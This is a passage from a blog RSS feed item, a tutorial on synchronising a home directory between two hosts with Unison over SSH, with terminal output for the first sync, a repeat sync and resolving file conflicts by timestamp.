-rw-r--r-- 1 gmendoza gmendoza 31 2009-04-09 16:09 file2.txt<br />
-rw-r--r-- 1 gmendoza gmendoza 31 2009-04-09 16:09 file3.txt<br />
-rw-r--r-- 1 gmendoza gmendoza 31 2009-04-09 16:09 file4.txt</code></p></blockquote>
<p>The first time you run Unison for this particular directory structure, both sides will create a local index and hash table.  You&#8217;ll get a warning and will be prompted with a message, asking you to hit the space bar if you accept.  If the root directory on the remote side does not exist yet, you&#8217;ll also be prompted to accept the changes.</p>
<blockquote><p><code><strong>unison MyDocs ssh://host2/MyDocs</strong><br />
Contacting server...<br />
Connected [//host1//home/gmendoza/MyDocs -> //host2//home/gmendoza/MyDocs]<br />
Looking for changes<br />
Warning: No archive files were found for these roots, whose canonical names are:<br />
	/home/gmendoza/MyDocs<br />
	//host2//home/gmendoza/MyDocs<br />
<em>(snipped for brevity...)</em><br />
Press return to continue.[<strong><spc></strong>]    Waiting for changes from server<br />
Reconciling changes</code></p>
<p><code>local          host2<br />
dir      ---->            /  [<strong>f</strong>] </code></p>
<p><code>Proceed with propagating updates? [] <strong>y</strong><br />
Propagating updates</code></p>
<p><code>UNISON 2.27.57 started propagating changes at 16:14:30 on 09 Apr 2009<br />
[BGN] Copying  from /home/gmendoza/MyDocs to //host2//home/gmendoza/MyDocs<br />
[END] Copying<br />
UNISON 2.27.57 finished propagating changes at 16:14:30 on 09 Apr 2009</code></p>
<p><code>Saving synchronizer state<br />
Synchronization complete  (1 item transferred, 0 skipped, 0 failures)</code></p></blockquote>
<p>Subsequent synchronizations are shown as the following.</p>
<blockquote><p><code><strong>unison MyDocs ssh://host2/MyDocs</strong><br />
Contacting server...<br />
Connected [//host1//home/gmendoza/MyDocs -> //host2//home/gmendoza/MyDocs]<br />
Looking for changes<br />
  Waiting for changes from server<br />
Reconciling changes<br />
Nothing to do: replicas have not changed since last sync.</code></p></blockquote>
<p>For the following example, I have modified file1.txt on host1, and file2.txt on host2.  Both file3.txt and file4.txt have been modified on each side.  The great thing about <em>unison</em> is that when there is a conflict, you have the opportunity to view the differences and select which direction you wish to synchronize.  Pressing the &#8220;x&#8221; key displays some basic information about the files that differ.  In this case, I have chosen the files with the most recent timestamp.  You choose the file direction by pressing the greater and less-than symbols, &#8220;>&#8221; and &#8220;<".</p>
<blockquote><p><code><strong>unison MyDocs ssh://host2/MyDocs</strong><br />
(snipped)<br />
local          host2<br />
changed  <-?-> changed    file3.txt  [] <strong>x</strong><br />
local        : changed file       modified on 2009-04-09 at 16:16:29  size 50<br />
host2  : changed file       modified on <strong>2009-04-09 at 16:16:43</strong>  size 55<br />
changed  <==== changed    file3.txt  [] <strong><</strong><br />
changed  <-?-> changed    file4.txt  [] <strong>x</strong><br />
local        : changed file       modified on <strong>2009-04-09 at 16:17:20</strong>  size 56<br />
host2  : changed file       modified on 2009-04-09 at 16:16:59  size 41<br />
changed  ====> changed    file4.txt  [] <strong>></strong><br />
changed  ---->            file1.txt  [<strong>f</strong>]<br />
         <---- changed    file2.txt  [<strong>f</strong>] </code></p>
<p><code>Proceed with propagating updates? [] <strong>y</strong><br />
Propagating updates</code></p>
<p><code>UNISON 2.27.57 started propagating changes at 16:18:27 on 09 Apr 2009<br />
[BGN] Updating file file3.txt from //host2//home/gmendoza/MyDocs to /home/gmendoza/MyDocs<br />
[BGN] Updating file file4.txt from /home/gmendoza/MyDocs to //host2//home/gmendoza/MyDocs<br />
[BGN] Updating file file1.txt from /home/gmendoza/MyDocs to //host2//home/gmendoza/MyDocs<br />
[BGN] Updating file file2.txt from //host2//home/gmendoza/MyDocs to /home/gmendoza/MyDocs<br />
[END] Updating file file3.txt<br />
[END] Updating file file2.txt<br />
[END] Updating file file4.txt<br />
[END] Updating file file1.txt<br />
UNISON 2.27.57 finished propagating changes at 16:18:27 on 09 Apr 2009</code></p>
<p><code>Saving synchronizer state<br />
Synchronization complete  (4 items transferred, 0 skipped, 0 failures)</code></p></blockquote>
<p>Unison also has a GTK front end for the graphically inclined.  Be sure to check out all the documentation for a full understanding of syntax.</p>
<p>Related posts:<ol>
<li><a href='http://savvyadmin.com/file-synchronization-with-rsync-over-ssh/' rel='bookmark' title='File Synchronization with Rsync over SSH'>File Synchronization with Rsync over SSH</a></li>
<li><a href='http://savvyadmin.com/backup-delivery-via-ssh/' rel='bookmark' title='Backup Delivery via SSH'>Backup Delivery via SSH</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/file-synchronization-with-unison-over-ssh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

